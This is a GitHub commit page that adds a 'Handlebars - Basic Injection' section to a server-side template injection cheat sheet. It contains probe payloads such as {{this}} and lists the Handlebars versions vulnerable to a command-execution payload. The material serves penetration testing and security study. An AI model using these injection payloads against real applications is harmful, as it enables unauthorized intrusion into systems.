Skip to content

Commit

Permalink
Handlebars - Basic Injection
Browse files Browse the repository at this point in the history
  • Loading branch information
swisskyrepo committed Nov 25, 2024
1 parent 6bfad6a commit 9425cec
Showing 1 changed file with 15 additions and 0 deletions.
15 changes: 15 additions & 0 deletions Server Side Template Injection/JavaScript.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@

- [Templating Libraries](#templating-libraries)
- [Handlebars](#handlebars)
- [Handlebars - Basic Injection](#handlebars---basic-injection)
- [Handlebars - Command Execution](#handlebars---command-execution)
- [Lodash](#Lodash)
- [Lodash - Basic Injection](#lodash---basic-injection)
Expand Down Expand Up @@ -38,8 +39,21 @@
[Official website](https://handlebarsjs.com/)
> Handlebars compiles templates into JavaScript functions.
### Handlebars - Basic Injection

```js
{{this}}
{{self}}
```

### Handlebars - Command Execution

This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6):

* `>= 4.1.0`, `< 4.1.2`
* `>= 4.0.0`, `< 4.0.14`
* `< 3.0.7`

```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
Expand Down Expand Up @@ -67,6 +81,7 @@
## Lodash

[Official website](https://lodash.com/docs/4.17.15)
> A modern JavaScript utility library delivering modularity, performance & extras.
### Lodash - Basic Injection

Expand Down

0 comments on commit 9425cec

Please sign in to comment.